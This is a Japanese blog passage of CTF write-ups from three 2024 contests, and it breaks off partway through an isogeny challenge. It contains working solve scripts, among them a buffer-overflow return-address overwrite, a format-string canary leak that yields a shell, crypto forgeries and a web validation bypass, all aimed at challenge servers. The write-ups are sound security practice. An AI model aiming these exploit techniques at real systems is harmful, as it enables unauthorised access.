BuckeyeCTF 2024 writeup

BuckeyeCTF 2024 にチーム poteti fan club で参加した。日本時間で 2024-09-28 09:00 から 2024-09-30 09:00 まで。

結果は 11/648 位。
crypto 問題を一人で独占してしまって申し訳ない気持ちになった。

解法集

crypto

crypto/rsa

普通の RSA 暗号の鍵 (n, e) と暗号文 c が与えられるので、平文を復元せよという問題。
n が 128 ビットの素数 2 個の積であり短すぎるので、普通に素因数分解できる。

e = 65537
n = 66082519841206442253261420880518905643648844231755824847819839195516869801231
c = 19146395818313260878394498164948015155839880044374872805448779372117637653026

# Found by https://www.alpertron.com.ar/ECM.HTM
phi = 66082519841206442253261420880518905643125623107528489101140402490481535313232


def main() -> None:
    d = pow(e, -1, phi)
    m = pow(c, d, n)
    print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode())


if __name__ == "__main__":
    main()
crypto/hashbrown

HMAC みたいな認証タグをつける装置が与えられるので、"french fry" を含む妥当なデータを作れという問題。
認証タグが hash(secret + message) なので、length extension attack ができる。今回は 16 バイトごとに区切る形式のハッシュ関数なので、pad(元の文章) + "french fry" であればハッシュ値が計算できる。

from pwn import *
import hashbrown
import sys

local = len(sys.argv) == 1
io = process(["python3", "hashbrown.py"]) if local else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    io.recvuntil(b"Hashbrowns recipe as hex:")
    io.recvline()
    msg = bytes.fromhex(io.recvline().strip().decode())
    io.recvuntil(b"Signature:")
    io.recvline()
    sig = bytes.fromhex(io.recvline().strip().decode())

    # Forge MAC
    added_msg = b"french fry"
    added_block = b"french fry" + b"_" * 6
    new_sig = hashbrown.aes(added_block, sig)

    io.recvuntil(b"Give me recipe for french fry? (as hex)")
    io.recvline()
    io.sendline((hashbrown.pad(msg) + added_msg).hex())
    io.recvuntil(b"Give me your signiature?")
    io.recvline()
    io.sendline(new_sig.hex())
    io.recvuntil(b'Your signiature:')
    io.recvline()
    io.recvline()
    print(io.recvall().decode())


if __name__ == "__main__":
    main()
crypto/zkwarmup

mod 合成数平方根を知っているかどうかのゼロ知識証明。
実装をよく見ると Python 標準ライブラリーの random を使っていて、しかも現在時刻 (の秒未満を切り捨てたもの) で初期化している。
こうすると乱数が予測可能になるので平方根も予測できる。

"""
乱数が完全に予測可能
"""
import sys
import random
import time
from pwn import process, remote


local = len(sys.argv) == 1
io = process(["python3", "zkwarmup.py"]) if local else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    """
    main
    """
    start = time.time()
    io.recvuntil(b"n = ")
    n = int(io.recvline().strip().decode())
    random.seed(int(time.time()))
    predicted_x = random.randrange(1, n)
    io.recvuntil(b"y = ")
    y = int(io.recvline().strip().decode())
    if pow(predicted_x, 2, n) != y:
        print('Failed to predict x')
        io.close()
        return
    for iter_count in range(128):
        if iter_count % 20 == 0:
            print(f"# ({time.time()-start:.2f}s) Round {iter_count}")
        r = random.randrange(1, n)
        s = pow(r, 2, n)
        io.recvuntil(b"Provide s: ")
        io.sendline(str(s).encode())
        io.recvuntil(b"b = ")
        b = int(io.recvline().strip().decode())
        z = pow(r * pow(predicted_x, 1 - b, n), 1, n)
        io.recvuntil(b"Provide z: ")
        io.sendline(str(z).encode())
    print(io.recvall().decode())


if __name__ == "__main__":
    main()
crypto/treestore

「オブジェクトを格納する時以下のような挙動をするオブジェクトストレージがある。

  • データを 16 バイトのチャンクに分割する。
  • それらを 2 分木にして、マークル木として各ノードを {sha256 => value} の形で格納する。
  • 新しく追加された (もともと無かった) ノードの個数を返す。

最初にフラグの値が白黒で描画された flag.bmp が格納される。フラグを特定せよ。」という問題である。

bmp ファイルのフォーマットは、(ヘッダー 54 バイト) + (ピクセルの情報 4 バイト) * (ピクセル数) である。(参考: https://www.setsuki.com/hsp/ext/bmp.htm)
特に 16 バイト区切りに分けた場合最後のチャンクは 6 バイトになるので、6 バイトのチャンクの中身が特定できればそれが最後のチャンクだとわかる。
該当の bmp ファイルのピクセル部分は 00000000 か ffffffff のどちらかなので、最後のチャンクは 4 通りしかないし途中の 16 バイトのチャンクも 32 通りしかない。
マークル木の右側から辿り、なおかつ中間ノードとしてあり得るものの組み合わせを (それより下のノードの組み合わせを調べて) 列挙することで、この問題を解くことができる。

まずは以下のスクリプトを実行した。(競技サーバーに近い方がいいので、オハイオ州の近くで実行できる人に実行してもらった。)

"""
merkle tree の右端から辿っていきたい
"""
import sys
import time
from base64 import b64encode
from pwn import process, remote


local = len(sys.argv) == 1


def create_io():
    return process(["nc", "localhost", "1024"]) if local else remote(sys.argv[1], int(sys.argv[2]))


io = create_io()

def check_node_existence(data: bytes) -> bool:
    global io
    try:
        io.recvuntil(b"[*] To add a file to the treestore, enter bytes base64 encoded")
        io.recvline()
        io.recvuntil(b">>> ")
        io.sendline(b64encode(data))
        line = io.recvline().strip().decode()
        if line == "[-] Max storage exceeded!":
            print('# Max storage exceeded!')
            io.close()
            io = create_io()
            return check_node_existence(data)
        if line != "0 chunks were added" and line != "1 chunks were added":
            print(f'# Error: {line}')
            sys.exit(1)
        return line == "0 chunks were added"
    except EOFError:
        print('# EOFError, reconnecting...')
        io.close()
        io = create_io()
        return check_node_existence(data)

def main() -> None:
    """
    main
    """
    start = time.time()
    anchor = b'\0' * 6
    data = []
    for bits in range(32):
        tmp = b''
        for i in range(5):
            if (bits >> i) & 1:
                tmp += b'\0' * 4
            else:
                tmp += b'\xff' * 4
        data.append(tmp[2:18])
    gen1 = []
    for c in data:
        exists = check_node_existence(c)
        if exists:
            gen1.append(c)
    cur_len = 16
    rest_cand = None
    while True:
        paired = None
        for c in gen1:
            if c[-2:] != anchor[:2]:
                continue
            exists = check_node_existence(c + anchor)
            if exists:
                paired = c
                break
        if paired is None:
            pass
        else:
            anchor = paired + anchor
        nextgen = []
        for c0 in gen1:
            for c1 in gen1:
                if c0[-2:] != c1[:2]:
                    continue
                exists = check_node_existence(c0 + c1)
                if exists:
                    nextgen.append(c0 + c1)
        if len(nextgen) == 0:
            for c in gen1:
                if c not in anchor:
                    rest_cand = c
                    break
        gen1 = nextgen
        cur_len *= 2

        print(f'# time: {time.time() - start:.2f}s')
        print(f'# anchor: {len(anchor)}')
        print(f'# cur_len: {cur_len}')
        print(f'# gen1: {len(gen1)}')
        with open('log.txt', 'a') as f:
            f.write(f'anchor = {anchor}\n')
            f.write(f'cur_len = {cur_len}\n')
            f.write(f'gen1 = {gen1}\n')
        if len(gen1) == 0:
            break
    image_len = cur_len + len(anchor) - 54
    width = image_len // 32 // 4
    print(f'# image_len: {image_len}, width: {width}')
    with open('flag.bmp', 'rb') as f:
        data = f.read()
    forged = data[:0x12] + width.to_bytes(4, 'little') + data[0x16:54] + b'\0' * (cur_len - 54) + anchor
    if rest_cand is not None:
        assert len(rest_cand) == cur_len // 2
        forged = forged[:cur_len // 2] + rest_cand + forged[cur_len:]
    with open('forged.bmp', 'wb') as f:
        f.write(forged)


if __name__ == "__main__":
    main()

その後、ログから以下のようなスクリプトで復元した。

import ast

def main():
    pre_cand = None
    pre_cand2 = None
    rest_cand = None
    for line in open('log-yosupo.txt').readlines():
        exec(line, globals())
        if line.startswith('gen1 = '):
            rest = line.removeprefix('gen1 = ')
            rest = ast.literal_eval(rest)
            print(f'# len(rest): {len(rest)}')
            if len(rest) == 2:
                pre_cand = rest
            if len(rest) == 6:
                pre_cand2 = rest

    for r in pre_cand:
        if r not in anchor:
            rest_cand = r
            break
    for r in pre_cand2:
        if r not in rest_cand + anchor:
            rest_cand2 = r
            break
    print(f'# anchor: {len(anchor)}')
    image_len = cur_len + len(anchor) - 54
    width = image_len // 32 // 4
    print(f'# image_len: {image_len}, width: {width}')
    with open('flag.bmp', 'rb') as f:
        data = f.read()
    forged = data[:0x12] + width.to_bytes(4, 'little') + data[0x16:54] + b'\0' * (cur_len - 54) + anchor
    if rest_cand is not None:
        assert len(rest_cand) == cur_len // 2
        forged = forged[:cur_len // 4] + rest_cand2 + rest_cand + forged[cur_len:]
    with open('forged.bmp', 'wb') as f:
        f.write(forged)


if __name__ == "__main__":
    main()

beginner-pwn

beginner-pwn/runway1

https://dogbolt.org/?id=123722f7-fbf8-4f9d-ae33-17a6d9b3c077
get_favorite_food() の実行時、スタックは |変数など (72 バイト)| caller's rbp (4 バイト)| return address (4 バイト)| となっているので、return address を書き換えると ok。
PIE などではないので win() のアドレスは簡単にわかる。

import sys
from pwn import process, remote


local = len(sys.argv) == 1
io = process(['./runway1']) if local else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    io.recvuntil(b'What is your favorite food?')
    io.recvline()
    payload = b'A' * 76 + 0x080491e6.to_bytes(4, 'little')
    io.sendline(payload)
    io.interactive()


if __name__ == '__main__':
    main()
beginner-pwn/runway3

https://dogbolt.org/?id=dbc47717-942e-4bfe-b43d-f19a61221f9c
canary で保護されているので、その値を特定して傷つけないようにバッファーオーバーフローを起こす。

import sys
from pwn import process, remote


local = len(sys.argv) == 1
io = process('docker run -i --workdir /srv/app --rm --platform=linux/amd64 runway3 /srv/app/run'.split(' ')) if local \
    else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    io.recvuntil(b'Is it just me, or is there an echo in here?')
    io.recvline()
    payload = b'%13$p %14$p %15$p'
    io.sendline(payload)
    canary_str, rbp_value_str, retaddr_str = io.recvline().strip().split()
    assert canary_str.startswith(b'0x')
    assert rbp_value_str.startswith(b'0x')
    assert retaddr_str.startswith(b'0x')
    canary = int(canary_str, 16)
    rbp_value = int(rbp_value_str, 16)
    retaddr = int(retaddr_str, 16)
    print(f'# canary: {canary:#x}, rbp_value: {rbp_value:#x}, retaddr: {retaddr:#x}')

    # ローカルではなくリモートだと以下の問題に引っ掛かる。stack pointer を 16 の倍数にするために push 命令を 1 つ飛ばす必要がある。
    # https://www.reddit.com/r/ExploitDev/comments/i5beqt/error_got_eof_while_reading_in_interactive_in/
    desired_retaddr = 0x4011db
    print(f'# overwriting retaddr: {retaddr:#x} => {desired_retaddr:#x}')

    payload = b'A' * 40 \
        + canary.to_bytes(8, 'little') \
        + rbp_value.to_bytes(8, 'little') \
        + desired_retaddr.to_bytes(8, 'little')
    io.sendline(payload)
    io.recvuntil(b'You win! Here is your shell:')
    io.recvline()
    io.sendline(b'cat flag.txt')
    print(io.recvuntil(b'}').decode())


if __name__ == '__main__':
    main()

rev

rev/flagwatch

AutoHotkey スクリプトコンパイルしたものが与えられる。

https://github.com/A-gent/AutoHotkey-Decompiler で decompile すると RCData 以下にスクリプトっぽいものが出る。

wine decompiler/ResourceHacker.exe flagwatch.exe

これの RCData → 1 : 1033 を開くとコードが出てくるので、そこで指定されている encrypted_flag をコピーすれば良い。

encrypted_flag = [62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]


def main() -> None:
    flag = ""
    for b in encrypted_flag:
        flag += chr(b ^ 92)
    print(flag)


if __name__ == "__main__":
    main()
rev/thank
import sys
from pwn import process, remote

local = len(sys.argv) == 1
io = process(['./thank']) if local else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    content = open('thank.so', 'rb').read()
    io.recvuntil(b'What is the size of your file (in bytes)? ')
    io.sendline(str(len(content)).encode())
    io.recvuntil(b'Send your file!')
    io.recvline()
    io.sendline(content)
    print(io.recvall().decode())


if __name__ == '__main__':
    main()

web

web/quote

入力されたクエリーパラメーターに応じて名言を返す Web サービスがある。ただしアクセスが許可されているのは 0 番から 4 番までの 5 個のみ。

まず const i = Number(id); して i に対して検証してから parseInt(i) して添字を計算しているので、例えば i = 7e-20 であれば検証は通った上で parseInt(i) == 7 が成立する。
つまり、(サービス内の https://quotes.challs.pwnoh.io/register などにアクセスして JWT を手に入れた上で) https://quotes.challs.pwnoh.io/quote?id=7e-20 とかにアクセスすればチェックをバイパスできる。

まとめ

crypto が全体的に考察要素薄めで、パソコン要素多めだった。

IERAE CTF 2024 writeup

IERAE CTF 2024 にチーム poteti fan club で参加した。日本時間で 2024-09-21 15:00 から 2024-09-22 15:00 まで。

結果は 5/224 位。
私は 1 問しか解けなかった上にそれも共同作業だったが、せっかくなので残しておく。

解法集

Heady Heights

  • 88 ビットのランダムな素数 p
  • 88 ビットのランダムな整数 a, b
  • 0 以上 p^7 未満の整数 secret
  • フラグを表す整数 m

が裏で決まっている。EllipticCurve(Zmod(p^8), [a, b]) 上で以下のようにとった 3 点が与えられるので、m を求めよ。

  • P: x 座標が 1337 である点
  • Q: secret * P に等しい
  • R: x 座標が secret * m % (p^8) である点

まずは p, a, b を求める必要がある。3 点与えられているので連立方程式を立てれば p^8 のある倍数が得られるが、それの因数分解は普通にやると難しい。Coppersmith の定理を使って p が計算できるらしいが未確認。(その部分はチームメイトにやってもらった。)

(2024-09-24 12:30 追記) Coppersmith ではうまくいかなかったので ECM (楕円曲線を用いた素因数分解法) を使った。

import time
import ast


with open('transcript.txt', 'r') as f:
    lines = f.readlines()
    x1, x2, x3 = ast.literal_eval(lines[0])
    y1, y2, y3 = ast.literal_eval(lines[1])


def find_nab() -> tuple[int, int, int]:
    """
    (a multiple of p^8, = a mod p^8, = b mod p^8)
    """
    # c[i] = y[i]^2 - x[i]^3 = a * x[i] + b (mod p^8)
    c1 = y1^2 - x1^3
    c2 = y2^2 - x2^3
    c3 = y3^2 - x3^3

    # d[i] = (c[i] - c[1]) * (x[5-i] - x[1]) = a * (x[2] - x[1]) * (x[3] - x[1]) (mod p^8)
    d2 = (c2 - c1) * (x3 - x1)
    d3 = (c3 - c1) * (x2 - x1)

    n = abs(d2 - d3)
    a = (c2 - c1) * pow(x2 - x1, -1, n)
    b = (c1 - a * x1) % n
    return (n, a, b)


def find_p(n: int) -> int:
    start = time.time()
    f = ECM()
    while True:
        found, rest = f.find_factor(n, factor_digits=27)
        (x, y) = found.perfect_power()
        print(f'# ({time.time() - start:.2f}s) Found factor: {found} = {x}^{y}')
        if n % (x^8) == 0:
            return x
        n = rest


def main() -> None:
    (n, a, b) = find_nab()
    p = find_p(n)
    print(f'p = {p}')
    print(f'a = {a % p^8}')
    print(f'b = {b % p^8}')


if __name__ == '__main__':
    main()

結果は以下のようになり、p, a, b が求められた。

$ sage solve0.sage
# (0.02s) Found factor: 2 = 2^1
# (0.03s) Found factor: 2 = 2^1
# (0.06s) Found factor: 2 = 2^1
# (0.07s) Found factor: 2 = 2^1
# (4.93s) Found factor: 35764881942880514781 = 35764881942880514781^1
# (220.32s) Found factor: 6223974622975369169562567725786857145362115460942923157165606761078369051592612183748734385724872112349709798180553302509115878018664263543083742427898087620984517306384044470054975520797172723893645179096435041 = 223490196137382483691737269^8
p = 223490196137382483691737269
a = 296018244906604047474066870
b = 229833986083217530673727493

p, a, b がわかったら SSSA Attack を行う。
E を mod p での (つまり  \mathbb{F}_p 上の) 楕円曲線、E' を mod p^8 での (つまり  \mathbb{Z}/p^8\mathbb{Z} 上の) 楕円曲線とする。このとき、 E' \simeq E \times \mathbb{Z}/p^7\mathbb{Z} が成立する (特に、位数は |E'| = |E| * p^7 である)。
(以下 SSSA attack の軽い説明) 楕円曲線の座標系を変換し (z, w) = (-x/y, -1/y) として z, w を使うことにすると、楕円曲線単位元は (z, w) = (0, 0) となり扱いやすくなる。
ここで P や Q の位数 order を P や Q に掛けたものを oP, oQ と置くと、それを E 上で行った場合は E の単位元 ( (0, 0) ) になるが E' 上で行った場合は (p の倍数, p の倍数) になるのがポイント。

  • zw-座標で表された、z 座標が p の倍数である 2 点 (z1, w1), (z2, w2) を足すと、z = z1 + z2 + (p^2 の倍数) となるので、p^2 の倍数の差を無視すれば k * (z1, w1) = (k * z1, ...) である。これを利用して oP, oQ から secret % p が求められる。
  • secret % p^2 を求めるには、oQ の代わりに oQ - secret * oP に対して同じようなことをやれば良い。secret % p^3, ... も同様。
from Crypto.Util.number import long_to_bytes
import math
from Crypto.Util import number
import ast


with open('transcript.txt', 'r') as f:
    lines = f.readlines()
    x1, x2, x3 = ast.literal_eval(lines[0])
    y1, y2, y3 = ast.literal_eval(lines[1])

K = 8
p = 223490196137382483691737269
a = 296018244906604047474066870
b = 229833986083217530673727493
mod = p**K


def xy_to_zw(mo: int, point: tuple[int, int]) -> tuple[int, int]:
    (x, y) = point
    w = number.inverse(-y, mo)
    z = x * w % mo
    return (z, w)

class ECZW:
    def __init__(self, mo: int, a1: int, a2: int, a3: int, a4: int, a6: int):
        """y^2 + a1 * x * y + a3 * y = x^3 + a2 * x^2 + a4 * x + a6
        w = z^3 + a1 * z * w + a2 * z^2 * w + a3 * w^2 + a4 * z * w^2 + a6 * w^3
        """
        self.mo = mo
        self.a1 = a1
        self.a2 = a2
        self.a3 = a3
        self.a4 = a4
        self.a6 = a6

    @staticmethod
    def simplified(mo: int, a: int, b: int):
        """Simplified form: y^2 = x^3 + a * x + b
        w = z^3 + a * z * w^2 + b * w^3
        """
        return ECZW(mo, 0, 0, 0, a, b)

    def is_on(self, point: tuple[int, int]) -> bool:
        return self.g(point) == 0

    def g(self, point: tuple[int, int]) -> bool:
        mo = self.mo
        a1 = self.a1
        a2 = self.a2
        a3 = self.a3
        a4 = self.a4
        a6 = self.a6
        (z, w) = point
        rhs = z * z * z + a1 * z * w + a2 * z * z * w + a3 * w * w + a4 * z * w * w + a6 * w * w * w
        return (rhs - w) % mo

    def g_z(self, point: tuple[int, int]) -> int:
        """∂g/∂z(point)
        """
        (z, w) = point
        mo = self.mo
        a1 = self.a1
        a2 = self.a2
        a4 = self.a4
        return (3 * z * z + a1 * w + 2 * a2 * z * w + a4 * w * w) % mo

    def g_w(self, point: tuple[int, int]) -> int:
        """∂g/∂w(point)
        """
        (z, w) = point
        mo = self.mo
        a1 = self.a1
        a2 = self.a2
        a3 = self.a3
        a4 = self.a4
        a6 = self.a6
        return (a1 * z + a2 * z * z + 2 * a3 * w + 2 * a4 * z * w + 3 * a6 * w * w - 1) % mo

    def inv(self, p: tuple[int, int]) -> tuple[int, int]:
        """Computes -p
        """
        mo = self.mo
        a1 = self.a1
        a3 = self.a3
        (z, w) = p
        invden = number.inverse(a1 * z + a3 * w - 1, mo)
        return (z * invden % mo, w * invden % mo)

    def add(self, p1: tuple[int, int], p2: tuple[int, int]) -> tuple[int, int]:
        """Computes p1 + p2
        """
        mo = self.mo
        a1 = self.a1
        a2 = self.a2
        a3 = self.a3
        a4 = self.a4
        a6 = self.a6
        (z1, w1) = p1
        (z2, w2) = p2
        lam = None
        invlam = None
        if z1 == z2 and w1 == w2:
            nom = self.g_z(p1)
            den = -self.g_w(p1) % mo
            if math.gcd(den, mo) != 1:
                invlam = den * number.inverse(nom, mo) % mo
            else:
                lam = nom * number.inverse(den, mo) % mo
        elif math.gcd(abs(z2 - z1), mo) != 1:
            invlam = (z2 - z1) * number.inverse(w2 - w1, mo) % mo
        else:
            lam = (w2 - w1) * number.inverse(z2 - z1, mo) % mo
        if lam is not None:
            nu = (w1 - z1 * lam) % mo
            zsum = -(a1 * lam + a2 * nu + a3 * lam * lam + 2 * a4 * lam * nu + 3 * a6 * lam * lam * nu) \
                * number.inverse(1 + lam * (a2 + lam * (a4 + a6 * lam)), mo)
            z3 = -(z1 + z2 - zsum) % mo
            w3 = (lam * z3 + nu) % mo
        elif invlam is not None:
            mu = (z1 - invlam * w1) % mo
            wsum = -number.inverse(a6 + invlam * (a4 + invlam * (a2 + invlam)), mo) \
                * (a3 + mu * (a4 + 2 * a2 * invlam) + a1 * invlam + 3 * invlam * invlam * mu)
            w3 = -(w1 + w2 - wsum)
            w3 %= mo
            z3 = (invlam * w3 + mu) % mo
        else:
            z = z1
            z3 = z
            # TODO: a6 != 0 must hold
            wsum = (a3 + a4 * z) * number.inverse(-a6, mo) % mo
            w3 = (wsum - w1 - w2) % mo
        return self.inv((z3, w3))

    def mul(self, x: int, p: tuple[int, int]) -> tuple[int, int]:
        """Computes x * p
        """
        result = (0, 0)
        cur = p
        while x > 0:
            if x % 2 == 1:
                result = self.add(result, cur)
            cur = self.add(cur, cur)
            x //= 2
        return result

    def lift(self, less_mo: int, p: tuple[int, int]) -> tuple[int, int]:
        """Hensel lifting to mod less_mo^2
        """
        assert less_mo * less_mo == self.mo
        mo = self.mo
        g_z = self.g_z(p)
        g_w = self.g_w(p)
        (z, w) = p
        if g_z % less_mo != 0:
            newz = (z - self.g(p) * number.inverse(g_z, mo)) % mo
            assert self.is_on((newz, w))
            return (newz, w)
        neww = (w - self.g(p) * number.inverse(g_w, mo)) % mo
        assert self.is_on((z, neww))
        return (z, neww)


def main() -> None:
    E = EllipticCurve(Zmod(p^K), [a, b])

    assert E.is_on_curve(x1, y1)
    assert E.is_on_curve(x2, y2)
    assert E.is_on_curve(x3, y3)

    order = 5 * 7 * 13 * 70169606322566202068537
    assert EllipticCurve(Zmod(p), [a, b])(x1, y1) * order == 0
    ec = ECZW.simplified(p^K, a, b) # EC mod p^8
    P1 = xy_to_zw(p^K, (x1, y1))
    P2 = xy_to_zw(p^K, (x2, y2))
    assert ec.is_on(P1)
    assert ec.is_on(P2)
    oP1 = ec.mul(order, P1)
    assert ec.is_on(oP1)
    disclog = 0
    for i in range(K - 1):
        oP2 = ec.mul(order, ec.add(P2, ec.inv(ec.mul(disclog, P1))))
        assert ec.is_on(oP2)
        assert oP1[0] % p == 0
        assert oP2[0] % (p^(i + 1)) == 0
        v1 = oP1[0] // p
        v2 = oP2[0] // (p ^ (i + 1))
        cur = v2 * pow(v1, -1, p) % p
        disclog += cur * (p ^ i)
        print(f'# disclog[{i}] =', disclog)
    print("# disclog =", disclog)
    m = x3 * pow(disclog, -1, p ^ 8) % (p ^ 8)
    print(long_to_bytes(m).decode())

    assert E(x1, y1) * disclog == E(x2, y2)


if __name__ == '__main__':
    main()

公式解法を見たら楕円曲線の自前実装ではなく Qp 上の EllipticCurve を使っており、そちらの方が楽だった。

まとめ

SSSA Attack についての認識が甘く、気づくのに時間がかかった。

ImaginaryCTF 2024 writeup

ImaginaryCTF 2024 に参加した。日本時間で 2024-07-20 04:00 から 2024-07-22 04:00 まで。

結果は 93/1457 位。 (順位表)

解法集

Crypto

base64

base64 (の数値そのまま版) でエンコードされた文字列が与えられるので復元してくださいという問題。

from Crypto.Util.number import long_to_bytes

secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]

val = 0
cur = 1
for v in secret_key:
    val += v * cur
    cur *= 64

print(long_to_bytes(val))
integrity

妙な作り方をした RSA 署名が与えられるので、元のメッセージを復元せよという問題。
crc_hqx(long_to_bytes(d), 42) は 65536 通りしかないので全探索で求めることができ、そこからユークリッドの互除法を使えば良い。
(https://www.slideshare.net/slideshow/rsa-n-ssmjp/72368516 の「その 8」)

from Crypto.Util.number import long_to_bytes

# 問題で与えられた数値
n = ...
ct = ...
signature = ...

crc = None

target = pow(signature, 65537, n)
cur = 1
for crc_cand in range(2**16):
    if cur == target:
        crc = crc_cand
        break
    cur = cur * ct % n

print('crc =', crc)

# Find (x, y) such that x * crc + y * 65537 = 1
x = pow(crc, -1, 65537)
y = (-x * crc + 1) // 65537

# Calculate the flag
flag = pow(signature, x, n) * pow(ct, y, n) % n
print(long_to_bytes(flag).decode('utf-8'))
tango

暗号文は (nonce) + (平文の CRC32) + (暗号文 (認証タグなし)) という構造である。
同一セッションでは常に同じ鍵で暗号化しているので、nonce も同じにすれば実質的に同じ乱数ストリームとの xor をとるだけになる。
正規の方法だと、暗号文において command は 3 文字の文字列しか許容されないが、暗号文や平文を偽造すればよい。
暗号文の偽造は xor 暗号なので簡単で、CRC32 の偽造は CRC32 の線形性を使えばできる。

import sys
from pwn import *
from zlib import crc32

local = len(sys.argv) > 1

io = process(['python3', 'server.py']) if local else remote('tango.chal.imaginaryctf.org', 1337)

io.recvuntil(b'Welcome to the Tango server! What would you like to do?')
io.recvuntil(b'[Q]uit\n> ')
io.sendline(b'E')
io.sendline(b'sts')
io.recvuntil(b'Your encrypted packet is: ')
packet = io.recvline()

ct = bytes.fromhex(packet.decode().strip())
nonce = ct[:8]
checksum = int.from_bytes(ct[8:12], 'big')
ciphertext = ct[12:]
print('len(ciphertext) =', len(ciphertext))

# Forge checksum and ciphertext
dummy1 = b'{"user": "user", "command": "sts", "nonce":"'
dummy2 = b'{"user": "root", "command": "flag", "once":"'
dummy1 = dummy1.ljust(len(ciphertext), b'A')
dummy2 = dummy2.ljust(len(ciphertext), b'A')
crcdiff = crc32(dummy1) ^ crc32(dummy2)
newciphertext = []
for i in range(len(ciphertext)):
    newval = ciphertext[i] ^ dummy1[i] ^ dummy2[i]
    newciphertext.append(newval)
forged = nonce + int.to_bytes(checksum ^ crcdiff, 4, 'big') + bytes(newciphertext)

io.recvuntil(b'[Q]uit\n> ')
io.sendline(b'R')
io.recvuntil(b'our encrypted packet (hex): ')
io.sendline(forged.hex().encode('ascii'))
print(io.recvline().decode('utf-8'))
solitude

RNG のやっていることは複雑だが、結局のところ state は 0 から 129 までの長さ 130 の順列であり、rng.next() も 0 から 127 までの値しか返さない。
各文字についてどの文字が出たかの調査を行えば、flag が復元できそうだが、実際のところどんな文字であっても 0 から 127 までが現れるので、この方法では復元できない。
ここで、RNG を実際に動作させてみると、特定の値だけ出現確率が他の値のほぼ 2 倍という事象が起こり得ることがわかる。
そのため、単に出現を調査するだけでなく頻度分析を行うとうまくいく。

import sys
from pwn import *

local = len(sys.argv) > 1

io = process(['python3', 'main.py']) if local else remote('solitude.chal.imaginaryctf.org', 1337)

io.recvuntil(b'got flag? ')
count = 10000
io.sendline(str(count).encode('ascii'))

flaglen = None

freq = []

for _ in range(count):
    data = io.recvline()
    data = bytes.fromhex(data.decode('ascii').strip())
    if flaglen is None:
        flaglen = len(data)
        freq = [[0] * 128 for _ in range(flaglen)]
    for i in range(flaglen):
        freq[i][data[i]] += 1


def highest(f):
    return max(range(128), key=lambda i: f[i])

high = highest(freq[0]) ^ ord('i')

flag = [None] * flaglen
for i in range(flaglen):
    flag[i] = highest(freq[i]) ^ high

print(bytes(flag).decode('ascii'))
lf3r

この手の初期 seed を求める問題では z3 を使いたくなる。
参考: https://kyuri.hatenablog.jp/entry/2017/10/05/151918

試しているうちに、z3 で剰余とかを扱うのがきつそうな感じがしたので、剰余になるべく触れないように以下の方針をとった。

  • carry[i]: ((self.state & self.mask).bit_count() & 1) << (self.n - 1) で最上位ビットが立ったかどうか
  • xs[i] == 2 * (xs[i] >> 1) + (xs[i]&1) が成り立つ。

また 1 << (self.n - 1) = 2 (mod 3) なので、(xs[i] >> 1) + (2 if carry else 0) == xs[i + 1] も成り立つ。
以上の式を使えば (xs[i]&1) と carry[i] の関係式が stream[i] と stream[i + 1] から導出できる。
最終的に xs[i] % 3 == stream[i] という条件を 2 個くらい試して flag を取得。

from z3 import *

stream = ... # 問題で与えられた数列

nsteps = 2048
n = 256
MASK = 0x560074275752B31E43E64E99D996BC7B5A8A3DAC8B472FE3B83E6C6DDB5A26E7

s = Solver()
xs = [BitVec(f'x{i}', n) for i in range(nsteps)]
carry = [Bool(f'carry{i}') for i in range(nsteps - 1)]
for i in range(2):
    s.add(URem(xs[i], 3) == stream[i])

for i in range(nsteps - 1):
    tmp = LShR(xs[i], 1)
    tmp = If(carry[i], tmp | 1 << (n - 1), tmp)
    s.add(xs[i + 1] == tmp)
    for lsb in range(2):
        for carried in [False, True]:
            rightval = (stream[i + 1] * 2 + lsb + (2 if carried else 0)) % 3
            if rightval != stream[i]:
                s.add(Or(xs[i] & 1 != lsb, carry[i] != carried))

r = s.check()
print(f'{r = }')
if r == unsat:
    print('Nothing to be done')
    exit(1)

proof = s.model()
print(proof[xs[0]])
seed = proof.eval(xs[0]).as_long()

class LF3R:
    def __init__(self, n, key, mask):
        self.n = n
        self.state = key & ((1 << n) - 1)
        self.mask = mask

    def __call__(self):
        v = self.state % 3
        self.state = (self.state >> 1) | (
            ((self.state & self.mask).bit_count() & 1) << (self.n - 1)
        )
        return v


def int_to_base(n, b):
    digits = []
    while n:
        digits.append(n % b)
        n //= b
    return digits

def base_to_int(digits, b):
    n = 0
    c = 1
    for d in digits:
        n += c * d
        c *= b
    return n


lf3r = LF3R(n, seed, MASK)

# discard 2048 bytes
[lf3r() for _ in range(2048)]

flag_digits = []
for i in range(2048, len(stream)):
    flag_digits.append((stream[i] + 2 * lf3r()) % 3)
flag_int = base_to_int(flag_digits, 3)
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")
print(f"{flag = }")
coast

sage --pip install pycryptodome を要した。

SIDH には攻撃手法が知られているはずなのでまずはそれを見る。
https://joint.imi.kyushu-u.ac.jp/wp-content/uploads/2022/08/220802_04moriya.pdf

m の値が小さすぎるのが気になる。今回 m = 1 である。

exchange の実装をみると es[i] = 1 のときと es[i] = -1 のときで行われる処理に違いがなさそうである。
なので実際には 2^128 通りくらいしか鍵はない。
(注: エントロピーは 81 ビット程度。

sage: (log(2/3.0)*2/3 + log(1/3.0)/3)*128
-81.4738135417360

)

public key が点も含んでいるが、この点の位数を調べることで掛けた数が分かってしまう。
例えば秘密鍵 priv において priv[0] != 0 の場合 (ls[0] = 3 なのでつまり最終的な積が 3 の倍数の場合)、 同種写像による G の行き先は位数が 3 の倍数ではない。

sage: pub_bob[1]
